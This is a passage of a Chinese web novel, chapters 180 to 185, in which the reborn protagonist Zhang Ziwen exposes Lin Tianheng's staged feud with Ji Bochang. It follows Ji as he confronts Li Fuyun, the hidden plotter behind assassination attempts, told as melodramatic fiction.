强哥犹豫了下,主动说道:“张总,刚才是我胡说八道。如果谁在背后开三妹玩笑,我也会生气。”
他从张总身上学到了一个道理:己所不欲勿施于人。
“晚安。”张子文笑容矜持,转身走向庄园。
在大门前等候的侯英接到张子文后,也没去主建筑,而是来到一间庄园密室。
尽管这个点,林妙微已经熟睡,但林天衡还是很谨慎。
进入密室,侯英也没多嘴,反手关上门,守在门外。
密室很大,极尽奢华。
林天衡伏案‘做事’,四面墙壁贴满巨额‘信息量’以及‘人际网’。
见张子文进屋,林天衡头也不抬:“自己拿酒喝,我还有点事没捋顺。”
张子文也不打扰,安**在沙发上。
大约半小时
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后,林天衡才揉了揉眉心,来到会客区,给自己倒了杯酒:“怎么了?”
“很多事件的时间线会提前。”张子文平静道。“甚至会改变剧本,频繁出现蝴蝶效应。”
林天衡微微点头:“我知道。”
按照林妙儿上一世的剧本,总商会的换届选举,林天衡输了。
尽管**上一世的自己为什么会输,至少这一世,如果他不想输,他就输不了。
“变的越多,妙儿提供的信息,参考价值就越小,甚至会误导我们做判断。”张子文抿唇道。
林天衡点了一支烟,目光沉凝:“同意。”
“上一世的剧本里,季伯常两个月后死于乱刀之下。”张子文安静凝视林天衡。
林天衡抽烟的动作顿了顿,皱眉道:“他输了,就失去了价值,背后的势力有理由动他。”
“为什么是背后势力动他?”张子文直视林天衡。“他反你,想置你于死地,你不想动他?”
林天衡目光微沉,反问道:“你想说什么?”
“我想说,从你给我提供的那些信息分析。”张子文平静道。“季伯常的死,可能会提前。”
林天衡面无波澜,只是安静续了一支烟,淡淡道:“你说的对,他的确有可能会提前死。”
“而且,也许就在今晚。”
张子文直直看他:“你希望他死吗?”
林天衡吐出口浓烟,遮掩双眸,唇角泛起一抹诡谲之色:“江城没人敢在我面前问这个问题,就连妙儿掌握两世信息,也没有怀疑过,但我却没有瞒住你。”
第181章 你张子文没做到!
密室内一片肃静。
林天衡那双深不可测的眼眸,一瞬不瞬盯着张子文。
上一世,他瞒过全世界,包括林妙微。
这一世,他同样瞒过所有人,包括两世为人的林妙儿。
可眼前这个清秀斯文的年轻人,却温柔撕碎了他处心积虑的布局。
面对林天衡极具侵略性,且难辨喜怒的凌厉冷眸,张子文面无波澜,岿然不动。
“我露了破绽?”林天衡掐灭香烟,浑身弥漫威压,气势澎湃。
张子文摇头。
“妙儿也不知道。”林天衡眼神晦暗,忽然话锋一转。“季伯常,也不敢。”
林天衡捋顺思绪,目露锋利:“你为什么知道?”
此事牵扯深远,关乎整座庄园乃至林家父女的命运,林天衡骤然间心生杀意,又悄然抚平。
“可能我比较幸运吧。”
张子文笑容矜持,目光真诚:“我见过林叔友善慈祥的一面,也见过季哥仗义豪迈的一面,更亲眼目睹了微微的改变与成长。”
张子文抬眸望向林天衡:“我相信林叔不会把季哥逼到悬崖边,我相信季哥不会在这一世的剧本里,不顾一切**。我更加不信,以季哥的智慧,会如此轻易激怒慢慢改掉坏脾气的微微。”
“或许在整座江城人眼里,你们的所作所为完全符合他们的心理预期,但不符合我的预期。”张子文直直盯着林天衡。
林天衡重新续了一支烟,眼神晦暗:“你宁愿与全世界意见相左,也要信你自己?”
张子文笑容矜持,语气真诚而决绝:“是的,我只信自己。”
林天衡眼中冷厉渐渐褪去,深吸一口烟,薄唇微张:“你比我想象中聪明。”
“我只是被骗怕了。”张子文谦逊道。
“你当面揭穿我的布局,不怕我对你不利?”林天衡质问。“我在做的事,既关乎我,也关乎微微,你的命在这些面前,分量远远不够。”
“我眼里的林叔会在意季哥的感受,也从没有把他当成一条摇尾乞怜的路边野狗。”张子文语气平静道。“我想,我在林叔眼里,也不会因为有点小聪明,就变成敌人,或者一具尸体。”
林天衡阴沉的脸,露出一抹欣赏之色。
他越来越喜欢这个和自己一样不太在意上一世剧本的年轻人。
短暂沉默后,林天衡端起酒杯一饮而尽:“是我告诉季伯常,微微的行李箱里装着她苦心拼搭了几个月的生日礼物,只要毁掉她为你准备的礼物,微微必雷霆大怒。”
“那天,季伯常率众接机,当众毁掉微微的礼物,也毁掉了他拼了二十年的命,慢慢积攒的脸面,他最在意的脸面。”
林天衡语气平静,一字一顿道:“只有全世界都认为他会反,他反的才有价值,才有人信。”
张子文安静聆听。
季哥以身入局,一定在做一件在他眼里,比他的脸面甚至性命更重要的事。
而这件事,关系林家父女命运。
“其实我没想让你当副会长。”林天衡坦诚道。“木秀于林风必摧之,你还年轻,根基不稳
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,步子迈太大,未必是好事。”
林天衡唇角泛起一抹浅笑:“是小季让我把他的位置留给你,他说他喜欢你,他还说这个世界上除了我,只有你懂他。如果能活下来,他要和你拜把子,当兄弟。”
张子文脸色微变,皱眉道:“但季哥今晚可能会死?”
林天衡拿起烟盒里最后一支香烟,却没有点燃,眼眸低沉晦暗:“他愿意为我死。”
张子文缓缓起身,目光淡漠:“在我心中,季哥比你林天衡分量重。”
林天衡微怔,抬眸看他:“所以呢?”
“我能改侯英的命,也能改季哥的命。”张子文俯瞰林天衡,目光如炬。
林天衡站起身,面色阴沉,口吻充斥警告与勒令:“我和你说过,我要赢,你好好走你自己的人生,我赢了,会帮你,会为你提供上一世你没有的助力,会让你成长的更快。”
张子文直直盯着林天衡,语气执拗而霸道:“我上一世不需要你帮,这一世,也不需要。”
林天衡戾气横生,魁梧的身躯猛然前压,目露凶光:“我输了,会死!我**,你会像对待妙儿那样,对待我的微微?能像我一样,照顾我的微微?”
林天衡双目赤红。
他从重活一世的妙儿身上,看到了微微的未来。
那不是他希望微微过的人生。
他要赢,要活下去。
这世上,没人会像林天衡这样爱护微微。
哪怕是张子文,也不值得托付!
“上一世,你张子文没做到!”
第182章 季哥,有福同享!
面对林天衡极具破坏力的质问,张子文面无波澜道:“我不欠你,也不欠她。”
张子文转身,内心秩序不动如山:“我不想我的朋友背负骂名,死于乱刀之下。”
林天衡神色阴沉,却没有留下张子文。
“林叔,你有没有想过,上一世的季伯常是真反,还是和这一世一样,为你而死?”
张子文站在门口,回眸看他。
林天衡皱眉,斩钉截铁道:“别说两世,就算历经三世,五世,十世,季伯常也不会反我。”
张子文面色沉凝,目光冰冷道:“但你却两世杀他。”
咔嚓。
张子文扭开房门,转身离开。
林天衡怔愣在密室中,脸色苍白。
在张子文提出这个观点之前,林天衡并没有以这个视角去思考两世全局。
他要做的,是为微微争一个美好未来。
他只以为,上一世的季伯常**。
这一世,死也合理,甚至削弱了心理负担。
他从没想过,季伯常历经两世,都愿意为自己而死。
“老板,我走上游轮顶层花了二十年,但我下去,只要三秒。”
脑中闪过那夜在游轮顶层,季伯常纵身一跃的画面,林天衡钢铁般的意志出现动摇。
……
“文哥,要去哪里?我送你。”
侯英凑上前,眼神沉稳。
张子文摇头:“安排个司机就行。”
侯英咧嘴笑道:“今晚庄园里人手紧缺,文哥只能用我。”
“薛老师也出门了?”张子文皱眉。
“嗯。”侯英点头,抿唇道。“今晚也许有大事发生。”
“那就留在庄园保护微微。”张子文转身要走。
“文哥。”
侯英近乎冒犯的拽住张子文胳膊,英俊脸庞上露出清澈笑容:“老板说过,每个人都会死,但不能因为怕噎死,就一口水都不喝。”
张子文深深看他。
“文哥,我这条命是你救的。”侯英笑容真诚。“但我不怕死,也不想活成连我自己都看不起的软骨头。”
张子文微怔,不再反对。
张子文不能因为改写了侯英的剧本,就用尽全力‘保护’他,他有自己的活法,有自己面对生死的态度。
如果仅仅只是为了活着,就沦为一个连自己都看不起的懦夫,那活着,将毫无意义。
“上车。”张子文平静道。
“是,文哥!”
侯英为张子文拉开车门,然后小跑来到驾驶席,一脚油门踩到底,冲出庄园,遁入黑暗。
后视镜里,闪过微姐房间漆黑的窗口,侯英咧嘴傻笑,眼神坚决。
当轿车驶出庄园,张子文拿出手机,打给许久没联系的季伯常。
嘟嘟。
嘟嘟。
漫长等待后,电话终于接通了。
“有事?”
电话那边传来季伯常冷酷威严的嗓音,如第一次见面那般,极具压迫感。
“季哥,什么时候约顿饭?”张子文笑容矜持。“我有好酒,想听你讲讲你的故事。”
侯英皱眉,不知道文哥为什么半夜打给这个叛徒。
那夜季伯常**后,侯英就删掉了所有联系方式,并留给季伯常一句话:反
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骨仔。
午夜穿梭的豪车内,季伯常偏头看了眼寂静无声的窗外,口吻淡漠:“下辈子。”
咔嚓。
电话那边传来盲音。
张子文亲手打造的强大通讯团队,迅速咬住季伯常定位,具体到在哪一条街道,哪一扇门前。
当箭头落在一栋别墅前停下来,张子文给了侯英具体地址:“去这里。”
侯英点头,表情迟疑道:“去见季伯常?”
张子文没有隐瞒,微微点头。
“文哥,他是叛徒。”侯英咬牙。
张子文抬眸微笑,安静凝视后视镜里满脸怨愤的侯英:“他没反。”
侯英双眼放光,毫不犹豫选择相信。
他信文哥。
也信一直关照自己的季哥。
“但他今晚可能会死。”张子文抿唇道。
侯英狠狠踩住油门,并没多问,心中有了答案。
嘎吱!
季伯常显赫的豪车缓缓停在独栋别墅前,钟叔手里拎着含金量十足的公文包,紧随季哥。
别墅附近暗影绰绰,弥漫肃杀之气。
商经陵和李秋白从另一辆车下来,齐齐朝别墅走去。
今晚,他们要在这栋极为隐蔽的别墅内见到最神秘且强大的幕后黑手。
也是季伯常**的最大支持。
如果不是季伯常拿出足够扳倒林天衡的秘密证据,那位始终不曾露面的幕后黑手甚至不会见他。
“包给我。”
季伯常驻足,回首看了眼忠心耿耿的钟叔。
钟叔不给,将证据紧紧抱在怀里,咧嘴笑道:“季哥,有福同享。”
第183章 你不好奇为什么是我?
季伯常也不多言,转身朝暗影密布的别墅走去。
今晚,李秋白和商经陵也不似以往谦逊,甚至连看季伯常的眼神,也少了几分敬畏与忌惮。
总商会换届败给林天衡,各大家族对季伯常态度暧昧。
就连追随季伯常打天下的老部下,也有部分人的态度模棱两可,不再旗帜鲜明。
所谓树倒猢狲散,大抵如此。
在两名冷酷青年的带领下,一行人进入别墅,直通二楼,来到一间隐蔽性极强的密室。
密室内居中摆放着环形沙发,在季伯常一行人入内之前,已有八名江城大佬围坐。
灯光昏暗,烟雾缭绕,每一名江城大佬都端坐一方,神情凝重。
李商对视一眼,满脸惊愕。
这八人中,仅有三人明牌支持季伯常,另外几位身份显赫的江城大佬全都藏于暗处,甚至有两人是位高权重的总商会副会长。
季伯常环顾四周,神色淡漠。
他也只见过其中五人,另外三人非但没参与他的**,甚至与林天衡关系密切。
密室内,没人因季伯常到来起身相迎,态度十分寡淡,季伯常也没特意跟谁打招呼,缓缓坐在沙发上,点了根香烟:“东西我带来了。”
一名位居商会副会长的沉稳男子平静道:“老季,你确定你带来的东西,真能扳倒林天衡?”
另外几名大佬,也侧目看向季伯常。
季伯常吐出口浓烟,脸色阴沉:“你们不是一定要用我的东西,也可以自己想办法。”
“老季,老郑也只是希望万无一失,没有别的意思。”另外一名大佬打圆场,眼神沉凝道。“毕竟输过一次了,再输,我们会很被动,脸上也没光。”
他说得轻巧,再输,可不仅仅被动,而会遭遇林天衡毁灭性报复。
就连这一次,那三位明牌支持季伯常的大佬,家族就面临着极大挑战,日子十分难过。
季伯常沉默抽烟,直至烧到烟屁股,方才环顾众人,目光坚毅:“我手里的东西,不仅可以摧毁林天衡,也会把我自己搭进去。”
众人闻言,面露喜色。
如果季伯常拿出来的东西真有如此恐怖的杀伤力,那此事必成!
“老季,拿出来给大家参考下,如果真像你说的,那我们必能扳倒林天衡!”
众人望向季伯常,眼神雀跃。
季伯常无动于衷,淡淡续了一支烟,反问道:“那我呢?”
众人闻言,迅速表态:“肯定会保住你。”
“只是保住?”季伯常眯眼冷笑。
之前质疑他的老郑语气沉稳道:“你想要什么?”
“我要做总商会长。”季伯常不假思索道。
“可以,我们答应你。”老郑斩钉截铁道。“林天衡倒台后,会长重选,我们都会替你拉票。”
季伯常不为所动,眯眼道:“郑清泉,如果我没记错,你在商会的排序,还在我季伯常之下,我凭什么信你?”
老郑表情抽搐,无言以对。
“诸位,不是我季伯常狂妄。”季伯常吐出口浓烟,阴寒的眼眸扫视众人。“就算我手里的东西足够扳倒林天衡,可光凭你们几个,我信不过。
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”
密室内,响起低语。
既有不悦,又有商讨。
季伯常手里的东西如果真的足够劲爆,也是动用关系找上层出手。
可他们手里的上层资源,比不上林天衡。
东西交上去,真能成为扳倒林天衡的筹码?还是被他们的关系拿去和林天衡的关系做资源置换,内部消化?
“你们输不起。”季伯常掐灭香烟,端起酒杯一饮而尽。“我季伯常,更输不起。”
就在密室陷入沉寂之时。
密室内的暗门,缓缓开启。
一名身材欣长的中年男子踱步走出。
他身着白西装,五官俊朗,气质出尘,眉宇间既有上位者的威严,又有一抹堪比林天衡的智慧。
“小季,你信得过我吗?”中年男子负手而立,微笑望向季伯常。
季伯常迅速起身,脸色陡变:“信得过!”
另外八名江城大佬也纷纷起身,向这位十年前就不亚于林天衡的带头大哥行注目礼。
如果十年前他没有离开江城,转战京城,江城总商会这十年谁做主,还两说。
“东西拿出来。”李扶云语气平淡,不轻不重道。“如果真有用,我扶你上位。”
季伯常深吸口气,眼中既有雀跃,又有顾虑,良久,回头吩咐:“老钟,给大家发材料。”
说罢,他握住一份材料,亲自递给端坐首位的李扶云,林天衡的结拜兄弟,林妙微的…干爹!
李扶云接过材料,却不着急浏览,反而面带玩味之色,打量季伯常:“小季,你不好奇为什么是我?”
第184章 季哥从没让我失望过!
当八位江城大佬拿到材料,并迅速阅读后,密室内响起此起彼伏的惊叹与雀跃声。
正如季伯常所言,他手里的东西不仅能扳倒林天衡,甚至会摧毁他自己。
那几位被林天衡压制多年的商界大亨满脸兴奋,密谋着能够打垮林天衡的可实施方案。
反观季伯常,却微勾着腰,无视那群聒噪的商界大亨,安静望向李扶云。
“李老板,您这么做自然有您的理由。”季伯常神色谦逊道。
“也是。”李扶云微笑颔首,一面翻开材料,一面语气轻松道。“但你刚才的表现,好像并不在意我就是幕后操控者。”
季伯常抿唇道:“我只在意幕后操控者有没有这个能力。”
说罢,季伯常缓缓抬眸,凝望李扶云:“能不能扶我上位。”
“哦。”
李扶云没吩咐他入座,低眸,扫了几眼材料,却因周遭太过聒噪,不禁皱眉:“安静点。”
他一开口,众人迅速闭上嘴,但眼底的兴奋与狂热不言而喻。
约摸十分钟后,李扶云再度抬眸,含笑盯着季伯常:“很多都是陈芝麻烂谷子的往事,证据链和当事人都不齐全,曝光后也许能毁掉你,但未必能扳倒林天衡。”
不等季伯常解释。
几名盟友乐观道:“李老板,这些证据只要曝光,林天衡名声肯定会臭,上面对他也不可能像以前那样信任和支持,对我们都是大利好。”
李扶云不轻不重道:“这次换届,你们就是太乐观。”
略微停顿,李扶云环顾四周:“结果呢?”
众人面面相觑,羞愧垂眸。
当初选举,他们的确过于乐观,有老会长牵头,有他们暗中支持,甚至在选举之前,他们自信能帮季伯常拿到半数以上的票,可结果…
季伯常像一条野狗,被一脚踢死。
“林天衡比你们想象中强大。”
李扶云缓缓点了一支烟,一边挥散面前的烟雾,一边说道:“出去等结果。”
众人闻言纷纷起身,不敢拂逆。
“坐。”
李扶云没理会安静站在角落,面无波澜的钟叔。
只是指了指旁边的沙发,吩咐季伯常。
后者入座,李扶云吸了一口烟,深不可测的双眸盯着季伯常:“是拿不出更有价值的东西,还是信不过我?”
这一次,李扶云没有等季伯常回答,又道:“还是,不愿意拿?”
季伯常皱眉,眼底闪过异色:“李老板,您想说什么?”
“你千方百计引我出来。”李扶云笑容笃定,浑身弥漫着令季伯常心悸的气息。“不是应该你想说点什么吗?”
季伯常正襟危坐,脸色愠怒:“李老板,如果您没有能力扶我上位,不必多言,我不是非靠您不可!”
说罢,愤然起身,扭头要走。
“该见不该见的,你都见了。”
李扶云神色淡然,盯着季伯常魁梧的背影:“如果你出门就打给林天衡,会显得我很傻。”
季伯常身躯一僵,猛然回头:“李老板,你的意思是,我拿我自己的秘密和前程开玩笑?”
李扶云微笑不语。
暗门内,涌出一群满身杀机的黑衣人,毒蛇般的眸子死死咬住
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季伯常。
季伯常岿然不动,眯眼说道:“李老板,你什么意思?”
李扶云掐灭香烟,平淡道:“其实我今晚不必见你,但我想起那天离开江城时,你专程来送我。”
李扶云缓缓起身,漆黑而洞穿一切的眼眸中,闪着精光:“你当然愿意拿你的前程甚至生命保护林天衡,因为你说过,提携玉龙为君死。林天衡,就是你的君。”
李扶云安静看着季伯常,眼底闪过一抹欣赏之色:“这场大戏,你们演的很精彩,也骗过了江城所有人。”
“但只有我知道,为了林天衡,你可以抛弃所有,你没有那么要面子,也没有那么怕死。”
李扶云淡淡道:“我甚至相信,是你主动入局,引我现身,对吗?”
季伯常微微佝偻的腰,缓缓挺直,晦暗的眼眸凝视李扶云,薄唇微张:“三年前大小姐被暗杀,是你所为?”
李扶云淡淡点头。
“最近一年的三次暗杀,也是你所为?”
“是我。”李扶云无需隐瞒,淡淡道。“不得不说,林天衡对微微的保护措施,比我想象中周全。”
季伯常不再多问,戾气横生:“老钟,堵住门。”
“是!”钟叔挪步,肉身堵门,视线落在季伯常魁梧强壮的后背,笑容纯粹而真诚,甚至有一抹释然之色:“季哥,好久没和你并肩作战了。”
季伯常脱下西装外套,露出粗壮的胳膊,回头扫了眼钟叔,笑容洒脱:“季哥没让你失望吧?”
钟叔点头,拔出藏在暗处的刀,舔了舔嘴唇:“季哥从没让我失望过!”
第185章 我要进去,找季哥!
漆黑的房间,林妙微坐了起来。
啪嗒。
打开床头灯,她略显惺忪惫懒的美眸中,瞳孔微颤。
她做噩梦了,做了两个。
掀开裹在身躯上的真丝毯,林妙微起身下楼。
还在旋转楼梯转角,她便一眼瞧见坐在客厅沙发上抽烟的林天衡,茶几上的烟灰缸里,塞满烟头。
抬眸瞥了眼悬挂在墙壁上的时间,已经是凌晨三点。
“微微,怎么不睡了?”林天衡掐灭香烟,原本阴沉锋利的脸庞浮现慈祥,笑容满面。
“做噩梦了。”
林妙微走下楼梯,坐在沙发上。
林天衡抬手,吩咐佣人送来热牛奶,亲自送到微微面前,关心道:“做什么噩梦了?”
“梦到你**。”林妙微接过牛奶,盯着林天衡。“死的很惨。”
林天衡微怔,随即语气安抚:“梦都是反的,老爸一定会长命百岁。”
林妙微抿了一口热牛奶,美眸平淡道:“还做了另外一个噩梦,季伯常也**。”
“怎么会梦到那条老狗?”林天衡微笑道。“他死不死,跟微微你没有任何关系。”
林妙微放下牛奶,抬眸看他:“你会杀了他吗?”
林天衡怔了怔,陷入沉默。
“他对我还不错。”林妙微语气平和道。“我剁了他的手,他也没怪我,还一直保护我,照顾我,派那么多人来接机。”
林天衡仍在沉默。
“我知道你们最近起了冲突。”林妙微盯着林天衡。“如果可以,别让他死。”
“他搞砸了你准备的生日礼物。”林天衡眼神晦暗,语气却很复杂。
“我不怪他了。”林妙微平静道。
林天衡轻轻点头,没有言语。
此时此刻,他希望微微继续怪季伯常。
也终于明白为什么上一世自己会瞒着微微。
……
侯英驾车驶向目的地,却在附近停车。
这里并非别墅区,仅有零星几座独栋,且门窗紧闭,周遭漆黑。
侯英熄灭了车灯,窥探四周。
坐在后排的张子文很快注意到其中一座独栋别墅四周停满豪车,暗影绰绰。
“文哥,那些车都是江城大老板的座驾。”侯英认识其中几辆车牌号,低声汇报。“也有季哥的车。”
“嗯。”张子文率先下车,不像侯英偷感那么重。
他不是来搞偷袭的,甚至不关心季伯常和那群商界大佬为什么跑到如此荒郊见面。
他只是要破坏季伯常今晚会死这件事。
“文哥,你干嘛?”侯英赶紧跟上去,满脸警惕地扫视四周。
他已经感受到有人在逼近,而且不止一个。
“来之前不是说过了吗?”张子文目光平静道。“我想见到季哥。”
嗖嗖嗖!
几道黑影落在面前,拦住二人去路。
“离开这里。”
其中一道黑影嗓音冷漠:“否则后果…”
咔嚓!
侯英只觉得眼前一花,文哥犹如一道闪电,奔袭而至,手法凌厉放倒其中一人,当场晕厥。
转瞬间,激战焦灼。
二人干脆利落放倒那几名西装青年,朝别墅逼近。
季哥就在别墅里,张子文知道。
但是活的,还是尸体,张子文不知道。
就在二人走近别墅时,大门敞开。
十余名西装男人陆续从别墅内走
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出,朝停在别墅附近的豪车走去。
每个人的脸上,都写满仓促与不安,每张脸,张子文都在总商会见过,其中两个的座位,还离林天衡很近。
末尾走出的两人,跟张子文结过仇,打过架,是传统意义上的敌人。
“张子文?”李秋白满脸惊愕,口吻心虚。“你来这里做什么?”
张子文和林妙微关系很近,还被林天衡提携成副会长,他如果知道自己在暗中算计林家,会不会为了报答林天衡的栽培,通风报信?
转瞬间,李秋白脑袋里闪过数个念头,可最终汇聚在心头的,却是恐惧。
在他心中,张子文早已经不是初次见面时的一家小公司的小老板,而是值得重视的商会‘大人物’。
认为他是有能力威胁自己,甚至家族的存在。
可张子文却由始至终都没理会他,漆黑的眼眸,一瞬不瞬盯着站在别墅门口,气势森冷可怖的中年人。
“上车,离开这里。”中年人锐利的眸子扫了眼驻足不动的李秋白二人,语气淡漠果决,不容置疑。
李秋白闻言,也不敢耽搁,迅速驾车离开。
在下楼的时候,他已经听到密室传来的厮杀声。
但他不敢打听,所有下楼的商界大佬,也都静默无言,仿佛没听见,不讨论,不出声,甚至会在离开荒郊后,想办法抹掉今晚来这里的所有痕迹。
“滚。”
中年人居高临下,俯瞰脸庞清秀的张子文,踱步走下台阶,排山倒海的杀机汹涌而至,压得侯英喘不过气,脸色煞白。
张子文面无表情,直视男人那双狭长阴毒的眼眸,一字一顿道:“我要进去,找季哥。”